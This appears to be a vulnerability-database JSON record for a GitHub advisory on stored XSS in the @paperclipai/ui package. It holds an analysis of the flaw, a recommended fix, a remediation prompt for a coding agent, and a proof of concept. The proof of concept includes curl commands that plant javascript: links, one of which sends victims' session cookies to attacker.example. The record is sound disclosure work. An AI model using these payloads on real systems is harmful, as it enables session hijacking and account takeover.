{"answers":{"affected":"2 open source packages ship an affected version, including @paperclipai/ui.","exploited":"There is no known exploitation of GHSA-fpw4-p57j-hqmq in the wild and no public exploit code.","fix":"Upgrade @paperclipai/ui to 2026.416.0 or later.","what":"GHSA-fpw4-p57j-hqmq is a cross-site scripting vulnerability in @paperclipai/ui, published on 16 Apr 2026. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-fpw4-p57j-hqmq and fix it if it is affected.\n\nWhat it is: GHSA-fpw4-p57j-hqmq is a cross-site scripting vulnerability in @paperclipai/ui, published on 16 Apr 2026. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-fpw4-p57j-hqmq in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- @paperclipai/ui (npm): affected all versions; fixed in 2026.416.0\n- @paperclipai/ui (npm): affected all versions; fixed in 2026.416.0\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-fpw4-p57j-hqmq/ (Markdown: https://insights.sbomify.com/GHSA-fpw4-p57j-hqmq/index.md)","id":"GHSA-fpw4-p57j-hqmq","markdown":"https://insights.sbomify.com/GHSA-fpw4-p57j-hqmq/index.md","name":"GHSA-fpw4-p57j-hqmq","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["account_takeover","security_bypass"],"network_reachable":"yes","non_default_config":false,"product_category":"Paperclip web app","requires_auth":"low_privilege","summary":"Authenticated users can inject JavaScript via Markdown links, leading to cross-user account takeover when victims click the malicious links.","user_interaction":"required","vuln_class":"xss"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\n`MarkdownBody`, the shared component used to render every Markdown surface in the Paperclip UI (issue documents, issue comments, chat threads, approvals, agent details, export previews, etc.), passes `urlTransform={(url) =\u003e url}` to `react-markdown`. That override replaces `react-markdown`'s built-in `defaultUrlTransform` — the library's only defense against `javascript:`/`vbscript:`/`data:` URL injection — with a no-op, and the custom `a` component then renders the unsanitized href directly. Any authenticated company member can plant `[text](javascript:...)` in an issue document or comment; when another member clicks the link, the script executes in the Paperclip origin with full access to the victim's session, enabling cross-user account takeover inside a tenant.\n\n## Details\n\n### 1. Sink: MarkdownBody overrides url sanitization\n\n`ui/src/components/MarkdownBody.tsx:107-135` (custom anchor renderer) and `ui/src/components/MarkdownBody.tsx:162` (Markdown element):\n\n```tsx\na: ({ href, children: linkChildren }) =\u003e {\n  const parsed = href ? parseMentionChipHref(href) : null;\n  if (parsed) { /* mention chip path, rewrites href */ }\n  return (\n    \u003ca href={href} rel=\"noreferrer\"\u003e\n      {linkChildren}\n    \u003c/a\u003e\n  );\n},\n// ...\n\u003cMarkdown remarkPlugins={[remarkGfm]} components={components} urlTransform={(url) =\u003e url}\u003e\n  {children}\n\u003c/Markdown\u003e\n```\n\n`react-markdown` v10 ships `defaultUrlTransform` (see `react-markdown` source) which strips any URL whose scheme matches `/^(javascript|vbscript|file|data(?!:image\\/(?:gif|jpeg|jpg|png|webp)))/i`. Passing `urlTransform={(url) =\u003e url}` replaces that defense with an identity function, so unsafe hrefs flow directly into the custom `a` renderer. React 19 only emits a dev-mode warning for `javascript:` hrefs — in production builds it renders them verbatim, and clicking the link executes the script in the current origin.\n\n### 2. Source: unsanitized markdown bodies\n\n`server/src/routes/issues.ts:815-862` accepts issue document bodies:\n\n```ts\nrouter.put(\"/issues/:id/documents/:key\", validate(upsertIssueDocumentSchema), async (req, res) =\u003e {\n  // ...\n  assertCompanyAccess(req, issue.companyId);\n  // ...\n  const result = await documentsSvc.upsertIssueDocument({\n    issueId: issue.id,\n    key: keyParsed.data,\n    title: req.body.title ?? null,\n    format: req.body.format,\n    body: req.body.body,          // ← stored verbatim\n    // ...\n  });\n```\n\n`packages/shared/src/validators/issue.ts:196-202`:\n\n```ts\nexport const upsertIssueDocumentSchema = z.object({\n  title: z.string().trim().max(200).nullable().optional(),\n  format: issueDocumentFormatSchema,     // enum: [\"markdown\"]\n  body: z.string().max(524288),          // no content validation\n  // ...\n});\n```\n\nOnly the `format` enum and a 512 KiB length cap are enforced; the body is persisted as-is. Comment bodies follow the same pattern — `svc.addComment` (`server/src/routes/issues.ts:1639`) stores a `z.string().min(1)` body (line 166 of the validator).\n\n### 3. Rendering path\n\n`ui/src/components/IssueDocumentsSection.tsx:71-72`:\n\n```tsx\nfunction renderBody(body: string, className?: string) {\n  return \u003cMarkdownBody className={className}\u003e{body}\u003c/MarkdownBody\u003e;\n}\n```\n\n`ui/src/components/CommentThread.tsx:372`:\n\n```tsx\n\u003cMarkdownBody className=\"text-sm\"\u003e{comment.body}\u003c/MarkdownBody\u003e\n```\n\nThe same sink is reused by `IssueChatThread`, `ApprovalDetail`, `AgentDetail`, `CompanySkills`, `CompanyImport`/`CompanyExport`, and `RunTranscriptView`. Every Markdown surface in the product inherits the vulnerability.\n\n### 4. Authorization does not block cross-user reach\n\n`server/src/routes/authz.ts:18-31` (`assertCompanyAccess`) accepts any authenticated user whose `companyIds` includes the target `companyId`. There is no role check — a low-privilege company member can plant a payload against admins and owners who view the issue.\n\n### 5. No compensating CSP\n\nA repository-wide grep for `Content-Security-Policy` finds only two matches, both scoped to sandboxed export/preview responses (`server/src/routes/assets.ts:328` and `server/src/routes/issues.ts:2572`). The main application HTML is served without any CSP, so the browser will happily navigate a `javascript:` href on click.\n\n## PoC\n\nPrerequisites: two accounts in the same company (`attacker` and `victim`), an existing issue `\u003cISSUE_ID\u003e`, the backend reachable on `http://localhost:3000`.\n\n**Step 1 — Attacker plants a malicious issue document:**\n\n```bash\ncurl -X PUT 'http://localhost:3000/api/issues/\u003cISSUE_ID\u003e/documents/plan' \\\n  -H 'Cookie: \u003cattacker-session-cookie\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n        \"format\": \"markdown\",\n        \"body\": \"# Plan\\n\\n[Click for details](javascript:fetch(\\\"https://attacker.example/steal?c=\\\"+encodeURIComponent(document.cookie)))\"\n      }'\n```\n\nExpected (verified): `201 Created` with the persisted document JSON. `upsertIssueDocumentSchema` accepts the body because it is a valid markdown string under 524288 bytes.\n\n**Step 2 — Victim opens the issue:**\n\nThe victim navigates to the issue in the browser. `IssueDocumentsSection` calls `renderBody(doc.body)` → `\u003cMarkdownBody\u003e`, which emits the DOM:\n\n```html\n\u003ca href=\"javascript:fetch(\u0026quot;https://attacker.example/steal?c=\u0026quot;+encodeURIComponent(document.cookie))\" rel=\"noreferrer\"\u003eClick for details\u003c/a\u003e\n```\n\n**Step 3 — Victim clicks the link:**\n\nThe browser executes the `javascript:` URL in the Paperclip origin. The attacker's listener receives the victim's session cookie. From there the attacker can replay the cookie against any endpoint guarded by `assertCompanyAccess` to act as the victim — posting comments, transitioning issues, invoking approvals, reading agent keys the victim can read, etc.\n\n**Alternate vector — comments (same sink):**\n\n```bash\ncurl -X POST 'http://localhost:3000/api/issues/\u003cISSUE_ID\u003e/comments' \\\n  -H 'Cookie: \u003cattacker-session-cookie\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"body\":\"[pwn](javascript:alert(document.cookie))\"}'\n```\n\n`CommentThread.tsx:372` renders `comment.body` through the same `MarkdownBody` sink, producing the same stored XSS without needing document-edit privileges.\n\n## Impact\n\n- **Cross-user stored XSS inside the tenant.** A low-privilege company member can plant a payload that runs in any other member's session — including admins/owners — on click.\n- **Session hijack.** The script executes on the Paperclip origin with access to `document.cookie` and every in-browser API credential; a victim click immediately exfiltrates the session to an attacker-controlled host.\n- **Privilege escalation.** Because every `assertCompanyAccess` route accepts a valid session, a captured admin cookie grants full company admin on the API surface (agent keys, approvals, document edits, settings).\n- **Tenant-wide blast radius.** The same `MarkdownBody` sink is used by issue documents, issue comments, issue chat, approvals, agent detail, company import/export, and run transcripts, so almost every user-visible text surface in the product is vulnerable.\n- **Persistent.** The payload lives in the document or comment record until explicitly deleted.\n\n## Recommended Fix\n\nThe minimum fix is to remove the `urlTransform` override in `ui/src/components/MarkdownBody.tsx:162` and rely on `react-markdown`'s `defaultUrlTransform`:\n\n```tsx\n// ui/src/components/MarkdownBody.tsx\nimport Markdown, { defaultUrlTransform, type Components } from \"react-markdown\";\n\n// ...\n\n// Preserve mention-chip (paperclip-mention://) hrefs so parseMentionChipHref still runs,\n// but fall back to the library's scheme allow-list for everything else.\nfunction safeUrlTransform(url: string): string {\n  if (url.startsWith(\"paperclip-mention://\")) return url;\n  return defaultUrlTransform(url);\n}\n\n\u003cMarkdown\n  remarkPlugins={[remarkGfm]}\n  components={components}\n  urlTransform={safeUrlTransform}\n\u003e\n  {children}\n\u003c/Markdown\u003e\n```\n\n`defaultUrlTransform` strips `javascript:`, `vbscript:`, `file:`, and non-image `data:` URIs, which closes this finding for every","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Paperclip: Stored XSS via javascript: URLs in MarkdownBody — urlTransform override disables react-markdown sanitization","id":"GHSA-fpw4-p57j-hqmq","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"xss","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["2026.416.0"],"introduced":["0"],"last_affected":[],"package":"@paperclipai/ui","purl":null,"source":"GHSA-fpw4-p57j-hqmq"},{"ecosystem":"npm","fixed":["2026.416.0"],"introduced":["0"],"last_affected":[],"package":"@paperclipai/ui","purl":"pkg:npm/%40paperclipai/ui","source":"GHSA-fpw4-p57j-hqmq"}],"products":null,"published":"2026-04-16","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Authenticated users can inject JavaScript via Markdown links, leading to cross-user account takeover when victims click the malicious links.","url":"https://insights.sbomify.com/GHSA-fpw4-p57j-hqmq/"}